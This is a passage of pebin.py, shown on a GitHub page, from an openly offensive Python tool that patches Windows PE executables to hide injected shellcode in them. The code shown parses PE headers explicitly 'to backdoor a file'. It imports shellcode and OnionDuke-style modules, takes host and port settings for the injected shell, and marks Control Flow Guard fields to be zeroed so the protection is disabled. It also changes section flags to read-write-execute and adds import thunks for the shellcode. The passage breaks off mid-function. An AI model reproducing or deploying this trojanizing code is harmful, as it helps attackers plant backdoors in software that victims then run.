-
-
Notifications
You must be signed in to change notification settings - Fork 788
/
pebin.py
2225 lines (1962 loc) · 105 KB
/
pebin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
'''
Copyright (c) 2013-2017, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'''
import sys
import os
import struct
import shutil
import platform
import stat
import time
import subprocess
import pefile
import operator
import cStringIO
import random
import string
import re
import tempfile
from random import choice
from winapi import winapi
from intel.intelCore import intelCore
from intel.intelmodules import eat_code_caves
from intel.WinIntelPE32 import winI32_shellcode
from intel.WinIntelPE64 import winI64_shellcode
from onionduke import onionduke
from onionduke.onionduke import write_rsrc
from onionduke.onionduke import xor_file
MachineTypes = {'0x0': 'AnyMachineType',
'0x1d3': 'Matsushita AM33',
'0x8664': 'x64',
'0x1c0': 'ARM LE',
'0x1c4': 'ARMv7',
'0xaa64': 'ARMv8 x64',
'0xebc': 'EFIByteCode',
'0x14c': 'Intel x86',
'0x200': 'Intel Itanium',
'0x9041': 'M32R',
'0x266': 'MIPS16',
'0x366': 'MIPS w/FPU',
'0x466': 'MIPS16 w/FPU',
'0x1f0': 'PowerPC LE',
'0x1f1': 'PowerPC w/FP',
'0x166': 'MIPS LE',
'0x1a2': 'Hitachi SH3',
'0x1a3': 'Hitachi SH3 DSP',
'0x1a6': 'Hitachi SH4',
'0x1a8': 'Hitachi SH5',
'0x1c2': 'ARM or Thumb -interworking',
'0x169': 'MIPS little-endian WCE v2'
}
#What is supported:
supported_types = ['Intel x86', 'x64']
class pebin():
"""
This is the pe binary class. PE files get fed in, stuff is checked, and patching happens.
"""
def __init__(self, FILE, OUTPUT, SHELL, NSECTION='sdata', DISK_OFFSET=0, ADD_SECTION=False,
CAVE_JUMPING=False, PORT=8888, HOST="127.0.0.1", SUPPLIED_SHELLCODE=None,
INJECTOR=False, CHANGE_ACCESS=True, VERBOSE=False, SUPPORT_CHECK=False,
SHELL_LEN=300, FIND_CAVES=False, SUFFIX=".old", DELETE_ORIGINAL=False, CAVE_MINER=False,
IMAGE_TYPE="ALL", ZERO_CERT=True, RUNAS_ADMIN=False, PATCH_DLL=True, PATCH_METHOD="MANUAL",
SUPPLIED_BINARY=None, XP_MODE=False, IDT_IN_CAVE=False, CODE_SIGN=False, PREPROCESS=False):
self.FILE = FILE
self.OUTPUT = OUTPUT
self.SHELL = SHELL
self.NSECTION = NSECTION
self.DISK_OFFSET = DISK_OFFSET
self.ADD_SECTION = ADD_SECTION
self.CAVE_JUMPING = CAVE_JUMPING
self.PORT = PORT
self.HOST = HOST
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.INJECTOR = INJECTOR
self.CHANGE_ACCESS = CHANGE_ACCESS
self.VERBOSE = VERBOSE
self.SUPPORT_CHECK = SUPPORT_CHECK
self.SHELL_LEN = SHELL_LEN
self.FIND_CAVES = FIND_CAVES
self.SUFFIX = SUFFIX
self.DELETE_ORIGINAL = DELETE_ORIGINAL
self.CAVE_MINER = CAVE_MINER
self.IMAGE_TYPE = IMAGE_TYPE
self.ZERO_CERT = ZERO_CERT
self.RUNAS_ADMIN = RUNAS_ADMIN
self.PATCH_DLL = PATCH_DLL
self.PATCH_METHOD = PATCH_METHOD.lower()
self.XP_MODE = XP_MODE
self.flItms = {}
self.iat_cave_loc = 0
self.SUPPLIED_BINARY = SUPPLIED_BINARY
self.CODE_SIGN = CODE_SIGN
self.flItms['IDT_IN_CAVE'] = IDT_IN_CAVE
self.flItms['curdir'] = os.path.dirname(__file__)
self.PREPROCESS = PREPROCESS
self.ORIGINAL_FILE = self.FILE
self.tmp_file = None
self.keep_temp = False
if self.PATCH_METHOD.lower() == 'automatic':
self.CAVE_JUMPING = True
self.ADD_SECTION = False
if self.PATCH_METHOD.lower() == 'replace':
self.PATCH_DLL = False
def run_this(self):
if self.INJECTOR is True:
self.injector()
sys.exit()
if self.FIND_CAVES is True:
issupported = self.support_check()
if issupported is False:
print self.FILE, "is not supported."
return False
print ("Looking for caves with a size of %s bytes (measured as an integer" % self.SHELL_LEN)
self.find_all_caves()
return True
if self.SUPPORT_CHECK is True:
if not self.FILE:
print "You must provide a file to see if it is supported (-f)"
return False
try:
is_supported = self.support_check()
except Exception, e:
is_supported = False
print 'Exception:', str(e), '%s' % self.FILE
if is_supported is False:
print "%s is not supported." % self.FILE
return False
else:
print "%s is supported." % self.FILE
return True
self.output_options()
return self.patch_pe()
def gather_file_info_win(self):
"""
Gathers necessary PE header information to backdoor
a file and returns a dict of file information called flItms.
Takes a open file handle of self.binary
"""
self.binary.seek(int('3C', 16))
print "[*] Gathering file info"
self.flItms['filename'] = self.FILE
self.flItms['buffer'] = 0
self.flItms['JMPtoCodeAddress'] = 0
self.flItms['LocOfEntryinCode_Offset'] = self.DISK_OFFSET
self.flItms['dis_frm_pehdrs_sectble'] = 248
self.flItms['pe_header_location'] = struct.unpack('<i', self.binary.read(4))[0]
# Start of COFF
self.flItms['COFF_Start'] = self.flItms['pe_header_location'] + 4
self.binary.seek(self.flItms['COFF_Start'])
self.flItms['MachineType'] = struct.unpack('<H', self.binary.read(2))[0]
if self.VERBOSE is True:
for mactype, name in MachineTypes.iteritems():
if int(mactype, 16) == self.flItms['MachineType']:
print 'MachineType is:', name
self.binary.seek(self.flItms['COFF_Start'] + 2, 0)
self.flItms['NumberOfSections'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['TimeDateStamp'] = struct.unpack('<I', self.binary.read(4))[0]
self.binary.seek(self.flItms['COFF_Start'] + 16, 0)
self.flItms['SizeOfOptionalHeader'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['Characteristics'] = struct.unpack('<H', self.binary.read(2))[0]
#End of COFF
self.flItms['OptionalHeader_start'] = self.flItms['COFF_Start'] + 20
#if self.flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
self.binary.seek(self.flItms['OptionalHeader_start'])
self.flItms['Magic'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MajorLinkerVersion'] = struct.unpack("!B", self.binary.read(1))[0]
self.flItms['MinorLinkerVersion'] = struct.unpack("!B", self.binary.read(1))[0]
self.flItms['SizeOfCode'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['SizeOfInitializedData'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['SizeOfUninitializedData'] = struct.unpack("<I",
self.binary.read(4))[0]
self.flItms['AddressOfEntryPoint'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['PatchLocation'] = self.flItms['AddressOfEntryPoint']
self.flItms['BaseOfCode'] = struct.unpack('<I', self.binary.read(4))[0]
if self.flItms['Magic'] != 0x20B:
self.flItms['BaseOfData'] = struct.unpack('<I', self.binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if self.flItms['Magic'] == 0x20B:
self.flItms['ImageBase'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['ImageBase'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SectionAlignment'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['FileAlignment'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
self.binary.read(2))[0]
self.flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
self.binary.read(2))[0]
self.flItms['MajorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MinorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MajorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MinorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['Win32VersionValue'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfImageLoc'] = self.binary.tell()
self.flItms['SizeOfImage'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeaders'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['CheckSum'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['Subsystem'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['DllCharacteristics'] = struct.unpack('<H', self.binary.read(2))[0]
if self.flItms['Magic'] == 0x20B:
self.flItms['SizeOfStackReserve'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfStackCommit'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfHeapReserve'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfHeapCommit'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['SizeOfStackReserve'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfStackCommit'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeapReserve'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeapCommit'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoaderFlags'] = struct.unpack('<I', self.binary.read(4))[0] # zero
self.flItms['NumberofRvaAndSizes'] = struct.unpack('<I', self.binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
self.flItms['ExportTableRVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['ExportTableSize'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['ImportTableLOCInPEOptHdrs'] = self.binary.tell()
#ImportTable SIZE|LOC
self.flItms['ImportTableRVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['ImportTableSize'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['ResourceTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['ExceptionTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['CertTableLOC'] = self.binary.tell()
self.flItms['CertLOC'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['CertSize'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['BaseReLocationTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Debug'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Architecture'] = struct.unpack('<Q', self.binary.read(8))[0] # zero
self.flItms['GlobalPrt'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['TLS Table'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigTableRVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigTableSize'] = struct.unpack('<I', self.binary.read(4))[0]
#self.flItms['LoadConfigTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['BoundImportLocation'] = self.binary.tell()
self.flItms['BoundImport'] = struct.unpack('<Q', self.binary.read(8))[0]
self.binary.seek(self.flItms['BoundImportLocation'])
self.flItms['BoundImportLOCinCode'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['BoundImportSize'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['IAT'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['DelayImportDesc'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['CLRRuntimeHeader'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Reserved'] = struct.unpack('<Q', self.binary.read(8))[0] # zero
self.flItms['BeginSections'] = self.binary.tell()
# This could be fixed in the great refactor.
if self.flItms['NumberOfSections'] is not 0 and 'Section' not in self.flItms:
self.flItms['Sections'] = []
for section in range(self.flItms['NumberOfSections']):
sectionValues = []
sectionValues.append(self.binary.read(8))
# VirtualSize
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# VirtualAddress
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# SizeOfRawData
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToRawData
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToRelocations
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToLinenumbers
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# NumberOfRelocations
sectionValues.append(struct.unpack('<H', self.binary.read(2))[0])
# NumberOfLinenumbers
sectionValues.append(struct.unpack('<H', self.binary.read(2))[0])
# SectionFlags
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
self.flItms['Sections'].append(sectionValues)
if 'UPX1'.lower() in sectionValues[0].lower():
print "[*] UPX packed, continuing..."
if ('.text\x00\x00\x00' == sectionValues[0] or
'AUTO\x00\x00\x00\x00' == sectionValues[0] or
'UPX1\x00\x00\x00\x00' == sectionValues[0] or
'CODE\x00\x00\x00\x00' == sectionValues[0]):
self.flItms['textSectionName'] = sectionValues[0]
self.flItms['textVirtualSize'] = sectionValues[1]
self.flItms['textVirtualAddress'] = sectionValues[2]
self.flItms['textSizeRawData'] = sectionValues[3]
self.flItms['textPointerToRawData'] = sectionValues[4]
self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] -
self.flItms['textVirtualAddress'] +
self.flItms['textPointerToRawData'] +
self.flItms['LocOfEntryinCode_Offset'])
elif '.rsrc\x00\x00\x00' == sectionValues[0]:
self.flItms['rsrcSectionName'] = sectionValues[0]
self.flItms['rsrcVirtualSize'] = sectionValues[1]
self.flItms['rsrcVirtualAddress'] = sectionValues[2]
self.flItms['rsrcSizeRawData'] = sectionValues[3]
self.flItms['rsrcPointerToRawData'] = sectionValues[4]
# I could add in checks here to support an out of order PE file;
# However if here were multiple sections that were RE, RWE, it would be
# difficult to get it right in a purposefully mangled binary.
# Perhaps if entrypoint is in RE section that is text section? But still.
# That could be spoofed and it returns to another RE section.
if self.PATCH_METHOD != 'onionduke':
if "textSectionName" not in self.flItms:
print "[!] Text section does not have a normal name, not guessing, exiting"
print "[!]\tFirst section, text section potential name:", str(self.flItms['Sections'][0][0])
return False
else:
self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] -
self.flItms['LocOfEntryinCode_Offset'])
self.flItms['VirtualAddress'] = self.flItms['SizeOfImage']
else:
self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] -
self.flItms['LocOfEntryinCode_Offset'])
self.flItms['VrtStrtngPnt'] = (self.flItms['AddressOfEntryPoint'] +
self.flItms['ImageBase'])
self.binary.seek(self.flItms['BoundImportLOCinCode'])
self.flItms['ImportTableALL'] = self.binary.read(self.flItms['BoundImportSize'])
self.flItms['NewIATLoc'] = self.flItms['BoundImportLOCinCode'] + 40
#ParseLoadConfigTable
self.flItms['LoadConfigTablePresent'] = False
for section in reversed(self.flItms['Sections']):
if self.flItms['LoadConfigTableRVA'] >= section[2]:
#go to exact export directory location
self.flItms['LoadConfigTablePresent'] = True
self.binary.seek((self.flItms['LoadConfigTableRVA'] - section[2]) + section[4])
self.flItms['LoadConfigTable_OFFSET'] = - section[2] + section[4]
break
if self.flItms['LoadConfigTablePresent'] is True:
# This is for 32bit... need x64
self.flItms['LoadConfigDirectory_Size'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_TimeDataStamp'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_MajorVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['LoadConfigDirectory_MinorVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['LoadConfigDirectory_GFC'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_GFS'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_CSDT'] = struct.unpack('<I', self.binary.read(4))[0]
if self.flItms['Magic'] == 0x20B:
# winx64
self.flItms['LoadConfigDirectory_DFBT'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_DTFT'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_LPTV'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_MAS'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_VMT'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_PAM'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_PHF'] = struct.unpack('<I', self.binary.read(4))[0]
else:
# winx86
self.flItms['LoadConfigDirectory_DFBT'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_DTFT'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_LPTV'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_MAS'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_VMT'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_PHF'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_PAM'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_CSDV'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['LoadConfigDirectory_Reserved'] = struct.unpack('<H', self.binary.read(2))[0]
if self.flItms['Magic'] == 0x20B:
self.flItms['LoadConfigDirectory_ELVA'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_SCVA'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_SEHTVA'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigDirectory_SEHC'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['LoadConfigDirectory_ELVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_SCVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_SEHTVA'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoadConfigDirectory_SEHC'] = struct.unpack('<I', self.binary.read(4))[0]
#grab CFG info
if self.flItms['Magic'] == 0x20B and self.flItms['LoadConfigDirectory_Size'] > 0x70:
self.flItms['LCD_CFG_address_CF_PTR_LOC'] = self.binary.tell()
self.flItms['LCD_CFG_address_CF_PTR'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LCD_CFG_dispatch_fptr'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LCD_CFG_Func_Table'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LCD_CFG_Func_Count'] = struct.unpack('<Q', self.binary.read(8))[0]
# Zero out LCD_CFG_Guard_Flags to disable CFG
self.flItms['LCD_CFG_Guard_Flags'] = struct.unpack('<Q', self.binary.read(8))[0]
elif self.flItms['Magic'] == 0x10B and self.flItms['LoadConfigDirectory_Size'] > 0x48:
self.flItms['LCD_CFG_address_CF_PTR_LOC'] = self.binary.tell()
self.flItms['LCD_CFG_address_CF_PTR'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LCD_CFG_dispatch_fptr'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LCD_CFG_Func_Table'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LCD_CFG_Func_Count'] = struct.unpack('<I', self.binary.read(4))[0]
# Zero out LCD_CFG_Guard_Flags to disable CFG
self.flItms['LCD_CFG_Guard_Flags'] = struct.unpack('<I', self.binary.read(4))[0]
# Find CFG_PTR_LOC
if "LCD_CFG_dispatch_fptr" in self.flItms:
if self.flItms['LCD_CFG_dispatch_fptr'] != 0:
self.flItms['LCD_CFG_dispatch_fptr_LOC'] = self.flItms['LCD_CFG_dispatch_fptr'] - self.flItms['ImageBase'] + self.flItms['LoadConfigTable_OFFSET']
self.binary.seek(self.flItms['LCD_CFG_dispatch_fptr_LOC'],0)
if self.flItms['Magic'] == 0x20B:
self.flItms['CFG_text_LOC'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['CFG_text_LOC'] = struct.unpack('<I', self.binary.read(4))[0]
def loadthis(self, amod):
section = amod.split('.')
mod = ".".join(section[:-1])
amod = __import__(mod)
for item in section[1:]:
amod = getattr(amod, item)
return amod
def preprocess(self):
# files in directory
ignore = ['__init__.py']
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
sys.path.append(dname)
for afile in os.listdir(dname + "/preprocessor"):
if afile in ignore:
continue
if ".pyc" in afile:
continue
if len(afile.split(".")) > 2:
print "!" * 50
print "\t[!] Make sure there are no '.' in your preprocessor filename:", afile
print "!" * 50
return False
name = "preprocessor." + afile.strip(".py")
preprocessor_name = __import__( name, fromlist=[''])
if preprocessor_name.enabled is True:
print "[*] Executing preprocessor:", afile.strip(".py")
else:
continue
if preprocessor_name.file_format.lower() in ['pe', 'all']: #'elf', 'macho', 'mach-o']:
print '[*] Running preprocessor', afile.strip(".py"), "against", preprocessor_name.file_format, "formats"
else:
continue
# Allow if any processors to keep it
if self.keep_temp is False:
self.keep_temp = preprocessor_name.keep_temp
# create tempfile here always
if self.tmp_file == None:
self.tmp_file = tempfile.NamedTemporaryFile()
self.tmp_file.write(open(self.FILE, 'rb').read())
self.tmp_file.seek(0)
print "[*] Creating temp file:", self.tmp_file.name
else:
print "[*] Using existing tempfile from prior preprocessor"
load_name = name + ".preprocessor"
preproc = self.loadthis(load_name)
m = preproc(self)
print "=" * 50
# execute preprocessor
result = m.run()
if result is False:
print "[!] Preprocessor Failure :("
print "=" * 50
# After running push it to BDF.
self.FILE = self.tmp_file.name[:]
# check for support after each modification
if preprocessor_name.recheck_support is True:
issupported = self.support_check()
if issupported is False:
print self.FILE, "is not supported."
return False
def check_apis(self, aFile):
####################################
#### Parse imports via pefile ######
#make this option only if a IAT based shellcode is selected
if 'apis_needed' in self.flItms:
print "[*] Loading PE in pefile"
pe = pefile.PE(aFile, fast_load=True)
print "[*] Parsing data directories"
pe.parse_data_directories()
self.flItms['neededAPIs'] = set()
try:
for api in self.flItms['apis_needed']:
apiFound = False
for entry in pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name is None:
continue
if imp.name.lower() == api.lower():
self.flItms[api + 'Offset'] = imp.address - pe.OPTIONAL_HEADER.ImageBase
self.flItms[api] = imp.address
apiFound = True
if apiFound is False:
self.flItms['neededAPIs'].add(api)
except Exception as e:
print "Exception:", str(e)
self.flItms['ImportTableFileOffset'] = pe.get_physical_by_rva(self.flItms['ImportTableRVA'])
#####################################
def print_flItms(self, flItms):
keys = self.flItms.keys()
keys.sort()
print "*" * 25, "BEGIN flItms", "*" * 25
for item in keys:
if type(self.flItms[item]) == int:
print item + ':', hex(self.flItms[item])
elif item == 'Sections':
print "-" * 50
for section in self.flItms['Sections']:
print "Section Name", section[0]
print "Virtual Size", hex(section[1])
print "Virtual Address", hex(section[2])
print "SizeOfRawData", hex(section[3])
print "PointerToRawData", hex(section[4])
print "PointerToRelocations", hex(section[5])
print "PointerToLinenumbers", hex(section[6])
print "NumberOfRelocations", hex(section[7])
print "NumberOfLinenumbers", hex(section[8])
print "SectionFlags", hex(section[9])
print "-" * 50
else:
print item + ':', self.flItms[item]
print "*" * 25, "END flItms", "*" * 25
def change_section_flags(self, section):
"""
Changes the user selected section to RWE for successful execution
"""
print "[*] Changing flags for section:", section
self.flItms['newSectionFlags'] = int('e00000e0', 16)
self.binary.seek(self.flItms['BeginSections'], 0)
for _ in range(self.flItms['NumberOfSections']):
sec_name = self.binary.read(8)
if section in sec_name:
self.binary.seek(28, 1)
self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
return
else:
self.binary.seek(32, 1)
def populate_iat_values(self):
self.flItms['iatdict'] = {}
self.flItms['thunkSectionSize'] = 0
self.flItms['lenDLLSection'] = 0
self.flItms['iatTransition'] = 0
self.flItms['dllCount'] = 0
self.flItms['apiCount'] = 0
#The new section has three areas:
#DLL names [DLL NAME][0x00] * Number of DLLs
#thunkSection:
#DLL1 THunk1: 0x11223344
#DLL1 Thunk2: 0x11223355 0x00000000
#DLL2 THunk1: 0x11223366
#DLL2 Thunk2: 0x11223377 0x00000000
#repeat thunkSection
#each address for the thunk points to the API in the next section
#[0x0000][DLL1 API1 NAME][0x00]
#[0x0000][DLL1 API2 NAME][0x00]
for api in self.flItms['neededAPIs']:
print "[!] Adding %s Thunk in new IAT" % api
#find DLL
for aDLL, exports in winapi.winapi.iteritems():
if aDLL not in self.flItms['iatdict'] and api in exports:
self.flItms['lenDLLSection'] += len(aDLL) + 1
self.flItms['iatdict'][aDLL] = {api: 0}
